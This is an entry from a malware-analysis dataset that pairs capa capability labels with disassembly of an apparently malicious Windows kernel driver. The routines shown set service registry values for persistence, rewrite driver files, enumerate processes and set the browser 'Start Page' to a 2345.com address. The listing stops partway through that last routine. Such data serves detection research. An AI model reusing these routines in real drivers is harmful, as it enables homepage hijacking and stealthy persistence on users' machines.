joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402350
Capabilities:
Print debug messages

Disassembly:
push ebx
push esi
mov esi, ecx
xor bl, bl
test esi, esi
jne 0x40235f
pop esi
xor al, al
pop ebx
ret
movzx eax, word [esi]
push edi
push 0x69666669
add eax, 8
push eax
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edi, eax
test edi, edi
jne 0x402380
pop edi
pop esi
xor al, al
pop ebx
ret
movzx eax, word [esi]
add eax, 8
push eax
push 0
push edi
call sub.ntoskrnl.exe_memset
movzx eax, word [esi]
push eax
push dword [esi + 4]
push edi
call sub.ntoskrnl.exe_memcpy
mov esi, dword [sym.imp.ntoskrnl.exe__wcsupr]
push edi
call esi
push 0x470dc8
call esi
push 0x470fd0
call esi
mov esi, dword [sym.imp.ntoskrnl.exe_wcsstr]
push 0x470dc8
push edi
call esi
add esp, 0x2c
test eax, eax
jne 0x4023d7
push 0x470fd0
push edi
call esi
add esp, 8
test eax, eax
je 0x4023e7
push 0x40a0f8
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
mov bl, 1
push 0x69666669
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x402490
Capabilities:
Print debug messages

Disassembly:
push ecx
cmp byte [0x4711d8], 0
je 0x40252f
push str.FixDriverFiles_g_bNeedFixMDLD
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
mov edx, dword [0x4711dc]
add esp, 4
mov ecx, dword [0x470da4]
push dword [0x4711e0]
call fcn.004042d0
mov edx, 0x4711e4
mov ecx, 0x470da0
call fcn.00404670
test al, al
je 0x402505
mov eax, dword [0x4711dc]
push 0x4711e4
mov dword [0x470da8], eax
mov eax, dword [0x4711e0]
push 0x470db0
mov dword [0x470dac], eax
call dword [sym.imp.ntoskrnl.exe_RtlCopyUnicodeString]
mov byte [0x4711d8], 0
mov al, 1
pop ecx
ret
push dword [0x470dac]
mov edx, dword [0x470da8]
mov ecx, dword [0x470da4]
call fcn.004042d0
mov edx, 0x470db0
mov ecx, 0x470da0
call fcn.00404670
test al, al
jne 0x402501
mov edx, 0x470db0
mov ecx, 0x470da0
call fcn.00404670
test al, al
jne 0x402501
push dword [0x470dac]
mov edx, dword [0x470da8]
mov ecx, dword [0x470da4]
call fcn.004042d0
mov edx, 0x470db0
mov ecx, 0x470da0
call fcn.00404670
test al, al
setne al
pop ecx
ret
Function at 0x402570
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
lea eax, [ebp - 0x28]
mov dword [ebp - 0x14], 0
push eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movdqu xmmword [ebp - 0x24], xmm0
push 0xf003f
lea eax, [ebp - 4]
mov dword [ebp - 0x28], 0x18
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0x40
mov dword [ebp - 0x20], 0x470dc0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jns 0x4025fc
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 0xf003f
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
test eax, eax
js 0x4026fe
mov ebx, dword [0x470da4]
xor esi, esi
push 4
push 0x40a1c8
push ebx
call dword [sym.imp.ntoskrnl.exe__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x402693
push 0x74637673
push 0x400
push esi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x402693
push 0x400
push 0
push esi
call sub.ntoskrnl.exe_memset
mov ecx, 0x40a1d4
mov edx, esi
add esp, 0xc
sub edx, ecx
lea esp, [esp]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x402650
mov edx, ebx
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x402662
sub ebx, edx
lea edi, [esi - 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402672
mov ecx, ebx
mov esi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 8]
mov ebx, esi
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x10]
push 0x40a1e0
push eax
call edi
mov ecx, ebx
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4026b0
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push ebx
mov ebx, dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
lea eax, [ebp - 0x10]
push 1
push 0
push eax
push dword [ebp - 4]
call ebx
mov dword [ebp - 8], eax
test esi, esi
je 0x4026f1
push 0x74637673
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 8]
test eax, eax
jns 0x402707
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.start
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call ebx
test eax, eax
js 0x4026f5
push str.type
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
test eax, eax
js 0x4026f8
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403100
Capabilities:
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 8], edx
push 0x206
push eax
mov word [ebp - 0x250], ax
xor esi, esi
lea eax, [ebp - 0x24e]
mov dword [ebp - 4], esi
push eax
mov edi, ecx
xor bl, bl
call sub.ntoskrnl.exe_memset
mov eax, dword [ebp - 8]
add esp, 0xc
cmp word [edi], 0x5c
mov dword [eax], esi
push edi
je 0x403162
push str.___ws
lea eax, [ebp - 0x250]
push 0x104
push eax
call fcn.00401070
add esp, 0x10
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x100
push 0
push 0
push 0
push 0
push 0x60
push 1
push 1
push 0x80
lea eax, [ebp - 0x18]
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], esi
push eax
push 0x80100000
lea eax, [ebp - 4]
mov dword [ebp - 0x24], 0x240
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.ntoskrnl.exe_IoCreateFile]
test eax, eax
js 0x40320d
push 5
push 0x18
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
js 0x40320d
push dword [ebp - 0x40]
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
push 0
push 0
push dword [ebp - 0x40]
mov esi, eax
lea eax, [ebp - 0x10]
push esi
push eax
push 0
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
test eax, eax
js 0x40320d
mov ecx, dword [ebp - 8]
mov bl, 1
mov eax, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x403222
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov dword [ebp - 4], 0
test bl, bl
jne 0x40323c
test esi, esi
je 0x40323c
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403560
Capabilities:
Print debug messages
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 0x208
push 1
mov ebx, edx
mov dword [ebp - 4], 0
mov esi, ecx
mov dword [ebp - 8], 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov edi, eax
test esi, esi
je 0x403703
test ebx, ebx
je 0x403703
test edi, edi
je 0x403703
push str.ImagePath
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x208
push 0
push edi
call sub.ntoskrnl.exe_memset
add esp, 0xc
mov dword [ebp - 0x28], 0x18
lea eax, [ebp - 0x28]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0x40
mov dword [ebp - 0x20], esi
push eax
push 0x10000000
lea eax, [ebp - 4]
mov dword [ebp - 0x18], 0
push eax
mov dword [ebp - 0x14], 0
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jns 0x403615
push 0x46eb64
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
push 0
push 0
push 2
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
cmp eax, 0xc0000034
je 0x4036fa
mov eax, dword [ebp - 8]
test eax, eax
je 0x4036fa
push eax
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov esi, eax
test esi, esi
je 0x4036fa
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x10]
push esi
push 2
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
test eax, eax
jns 0x403699
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push 0x46eb78
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 8]
cmp eax, 0x104
jbe 0x4036aa
push 0x104
jmp 0x4036ad
shr eax, 1
push eax
lea eax, [esi + 0xc]
push eax
push edi
call dword [sym.imp.ntoskrnl.exe_wcsncpy]
add esp, 0xc
push 4
push 0x46eb90
push edi
call dword [sym.imp.ntoskrnl.exe__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x4036d6
lea eax, [edi + 8]
push eax
jmp 0x4036d7
push edi
mov eax, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push ebx
call eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403fe0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
push esi
push dword [ebp + 8]
mov esi, ecx
mov dword [esp + 0x20], 0
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.00406cc0
lea edx, [esp + 8]
mov ecx, esi
call fcn.00406d90
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x404040
Capabilities:
Print debug messages
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 8], 0
mov eax, edx
mov dword [ebp - 4], edi
xor esi, esi
mov dword [ebp - 0xc], eax
xor ebx, ebx
test ecx, ecx
je 0x4041fc
test eax, eax
je 0x4041fc
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x18
push eax
push 0x20019
lea eax, [ebp - 8]
mov dword [ebp - 0x20], ebx
push eax
mov dword [ebp - 0x18], 0x240
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jns 0x4040b6
push str.QueryKeyValue_Failed_2_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0
push 0
push 2
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
test eax, eax
jns 0x4040ea
cmp eax, 0xc0000023
je 0x4040ea
push str.QueryKeyValue_Failed_3_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
jmp 0x4041c3
push dword [ebp - 4]
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov esi, eax
test esi, esi
jne 0x40410e
push str.QueryKeyValue_Failed_4_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
jmp 0x4041c3
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push 2
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
test eax, eax
jns 0x40413b
push str.QueryKeyValue_Failed_5_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
jmp 0x4041c3
push 8
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov edi, eax
test edi, edi
jne 0x40415b
push 0x46eed8
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
jmp 0x4041c3
push 0x208
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov ebx, eax
test ebx, ebx
jne 0x40417e
push str.QueryKeyValue_Failed_8_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
jmp 0x4041c3
push 0x208
push 0
push ebx
call sub.ntoskrnl.exe_memset
add esp, 0xc
push ebx
push edi
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov ax, word [esi + 8]
mov word [edi], ax
mov eax, dword [esi + 8]
shr eax, 1
push eax
lea eax, [esi + 0xc]
push eax
push dword [edi + 4]
call dword [sym.imp.ntoskrnl.exe_wcsncpy]
mov eax, 0x208
add esp, 0xc
mov word [edi + 2], ax
mov dword [ebp - 4], 1
mov eax, dword [ebp - 8]
test eax, eax
je 0x4041d1
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [ebp - 4], 0
mov eax, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jne 0x4041ea
test ebx, ebx
je 0x4041ea
push 0
push ebx
call eax
mov eax, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
test esi, esi
je 0x4041f3
push 0
push esi
call eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.QueryKeyValue_Failed_1_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404220
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x14]
push edi
push ecx
push eax
mov edi, edx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x34], 0x18
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x34]
mov dword [ebp - 0x30], 0
push eax
push 0xf003f
lea eax, [ebp - 8]
mov dword [ebp - 0x28], 0x240
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
test eax, eax
js 0x4042c0
push edi
lea eax, [ebp - 0x1c]
push eax
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push dword [ebp + 8]
push dword [ebp + 0x10]
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov ecx, dword [ebp - 8]
mov esi, eax
test ecx, ecx
je 0x4042be
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4042d0
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 8], 0
push 0x206
push eax
mov word [ebp - 0x254], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x252]
movlpd qword [ebp - 0x34], xmm0
push eax
mov ebx, edx
mov dword [ebp - 0x34], 0
mov edi, ecx
call sub.ntoskrnl.exe_memset
add esp, 0xc
test ebx, ebx
je 0x4043de
mov esi, dword [ebp + 8]
test esi, esi
je 0x4043de
cmp word [edi], 0x5c
push edi
je 0x40434e
push 0x46ed24
lea eax, [ebp - 0x254]
push 0x104
push eax
call fcn.00401070
add esp, 0x10
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x100
push 0
push 0
push 0
push 0
push 0x60
push 5
push 3
push 0x80
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x4c], 0x18
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x48], 0
push eax
push 0x40100000
lea eax, [ebp - 8]
mov dword [ebp - 0x40], 0x240
push eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
call dword [sym.imp.ntoskrnl.exe_IoCreateFile]
test eax, eax
js 0x4043de
push 0
lea eax, [ebp - 0x34]
push eax
push esi
push ebx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
test eax, eax
jns 0x4043e9
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp dword [ebp - 0xc], esi
jne 0x40441b
push 0x14
push 8
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], 0
push eax
push dword [ebp - 8]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404a10
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
xor eax, eax
mov dword [ebp - 4], 0
mov word [ebp - 0x14], ax
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], ax
mov eax, dword [sym.imp.ntoskrnl.exe_KeNumberProcessors]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
cmp byte [eax], 2
jge 0x404a48
mov al, 1
mov esp, ebp
pop ebp
ret
cmp dword [0x4706b0], 0
jne 0x404a42
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ntoskrnl.exe_PsGetVersion]
cmp dword [ebp - 4], 6
lea eax, [ebp - 0x14]
jae 0x404a75
push str.KeSetSystemAffinityThread
jmp 0x404a7a
push str.KeSetSystemAffinityThreadEx
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov ecx, eax
xor eax, eax
test ecx, ecx
mov dword [0x4706b0], ecx
setne al
mov esp, ebp
pop ebp
ret
Function at 0x404f20
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
xor eax, eax
mov dword [ebp - 0x128], 0x11c
push 0x118
push eax
mov word [ebp - 8], ax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
lea eax, [ebp - 0x124]
push eax
call sub.ntoskrnl.exe_memset
mov eax, dword [0x4712e8]
add esp, 0xc
test eax, eax
jne 0x405045
push str.RtlGetVersion
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
test eax, eax
je 0x404f8a
lea ecx, [ebp - 0x128]
push ecx
call eax
jmp 0x404fa7
push 0
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.ntoskrnl.exe_PsGetVersion]
mov eax, dword [ebp - 0x124]
cmp eax, 5
jne 0x404ff7
mov eax, dword [ebp - 0x120]
test eax, eax
jne 0x404fca
mov eax, 1
mov dword [0x4712e8], eax
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x404fdd
mov eax, 2
mov dword [0x4712e8], eax
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x405040
xor eax, eax
cmp word [ebp - 0x14], ax
setne al
add eax, 3
mov dword [0x4712e8], eax
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x405040
mov ecx, dword [ebp - 0x120]
test ecx, ecx
jne 0x405014
mov eax, 5
mov dword [0x4712e8], eax
mov esp, ebp
pop ebp
ret
cmp ecx, 1
jne 0x405027
mov eax, 6
mov dword [0x4712e8], eax
mov esp, ebp
pop ebp
ret
mov eax, dword [0x4712e8]
cmp ecx, 2
mov edx, 7
cmove eax, edx
mov dword [0x4712e8], eax
mov esp, ebp
pop ebp
ret
mov eax, dword [0x4712e8]
mov esp, ebp
pop ebp
ret
Function at 0x405620
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
lea eax, [ebp - 4]
push edi
push eax
push 0
push 0
push 5
mov dword [ebp - 4], 0
call esi
mov edi, dword [ebp - 4]
push 0x62656e66
add edi, 0x1000
push edi
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x40576c
lea eax, [ebp - 4]
push eax
push edi
push ebx
push 5
call esi
test eax, eax
jne 0x40576c
mov edi, ebx
lea ecx, [ecx]
xor eax, eax
push 0x3fe
push eax
mov word [ebp - 0x40c], ax
lea eax, [ebp - 0x40a]
push eax
call sub.ntoskrnl.exe_memset
movzx eax, word [edi + 0x38]
push eax
push dword [edi + 0x3c]
lea eax, [ebp - 0x40c]
push eax
call sub.ntoskrnl.exe_memcpy
mov eax, dword [edi + 0x44]
add esp, 0x18
mov dword [ebp - 8], eax
lea eax, [ebp - 0x40c]
test eax, eax
je 0x405751
push 0x62656e66
push 0x410
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, eax
test esi, esi
je 0x405751
lea ecx, [ebp - 0x40c]
lea ebx, [esi + 0xc]
mov eax, ecx
mov edx, ebx
sub edx, eax
lea ecx, [ecx]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x4056f0
push ebx
call dword [sym.imp.ntoskrnl.exe__wcslwr]
mov eax, dword [ebp - 8]
add esp, 4
mov dword [esi + 8], eax
mov byte [esi + 0x40c], 0
call dword [sym.imp.ntoskrnl.exe_KeEnterCriticalRegion]
push 1
push 0x470d40
call dword [sym.imp.ntoskrnl.exe_ExAcquireResourceExclusiveLite]
mov eax, dword [0x470d7c]
mov ecx, 0x470d40
mov dword [esi], 0x470d78
mov dword [esi + 4], eax
mov dword [eax], esi
mov dword [0x470d7c], esi
call dword [sym.imp.ntoskrnl.exe_ExReleaseResourceLite]
call dword [sym.imp.ntoskrnl.exe_KeLeaveCriticalRegion]
mov eax, dword [edi]
test eax, eax
je 0x40575e
add edi, eax
jmp 0x405680
push 0x74637673
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405780
Capabilities:
Find process by pid

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409488
push 0x40819c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov edi, edx
mov dword [ebp - 0x28], edi
mov esi, ecx
xor bl, bl
mov byte [ebp - 0x1a], bl
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
xor bh, bh
mov byte [ebp - 0x19], bh
mov dword [ebp - 4], 0
call dword [sym.imp.HAL.dll_KeGetCurrentIrql]
test al, al
je 0x4057f2
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
test esi, esi
je 0x40590d
cmp esi, 4
je 0x405904
cmp esi, 8
je 0x405904
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x405827
mov dword [ebp - 4], 0xffffffff
jmp 0x40593d
lea edx, [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
call fcn.00405970
test eax, eax
jns 0x405842
mov dword [ebp - 4], 0xffffffff
jmp 0x40593d
push dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_KeAttachProcess]
mov bh, 1
mov byte [ebp - 0x19], bh
push 1
push 0x1d8
mov esi, dword [ebp - 0x24]
push esi
mov edi, dword [sym.imp.ntoskrnl.exe_ProbeForRead]
call edi
mov esi, dword [esi + 0x10]
push 1
push 0x290
push esi
call edi
movzx eax, word [esi + 0x38]
mov ecx, 0x208
cmp ax, cx
jbe 0x40588a
mov dword [ebp - 4], 0xffffffff
jmp 0x40593d
mov edi, dword [esi + 0x3c]
cmp edi, esi
jae 0x405893
add edi, esi
push 2
push eax
push edi
call dword [sym.imp.ntoskrnl.exe_ProbeForRead]
push 0x46f09c
push edi
call dword [sym.imp.ntoskrnl.exe_wcsstr]
add esp, 8
mov edx, eax
test edx, edx
je 0x4058dd
mov ecx, str.___
lea eax, [ecx + 2]
mov dword [ebp - 0x24], eax
lea ecx, [ecx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4058c0
sub ecx, dword [ebp - 0x24]
sar ecx, 1
lea eax, [edx + ecx*2]
movzx esi, word [esi + 0x38]
sub esi, eax
add esi, edi
jmp 0x4058e3
mov eax, edi
movzx esi, word [esi + 0x38]
push esi
push eax
mov edi, dword [ebp - 0x28]
push edi
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
shr esi, 1
xor eax, eax
mov word [edi + esi*2], ax
mov dword [ebp - 4], 0xffffffff
mov bl, 1
jmp 0x40593d
push 7
push str.System
jmp 0x405914
push 5
push str.Idle
push ecx
mov ecx, edi
call fcn.00405d90
mov dword [ebp - 4], 0xffffffff
mov bl, 1
jmp 0x40593d
test bh, bh
je 0x405947
call dword [sym.imp.ntoskrnl.exe_KeDetachProcess]
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x405954
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov al, bl
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405f40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp + 8]
mov dword [ebp - 0x24], 0x18
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push 0xf003f
lea eax, [ebp - 4]
mov dword [ebp - 0x20], 0
push eax
mov dword [ebp - 0x18], 0x40
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
js 0x405fd6
push str.Start_Page
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov eax, 0x46ffe8
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405fa0
sub eax, edx
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push str.http:__www.2345.com__24384_1375
push 1
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
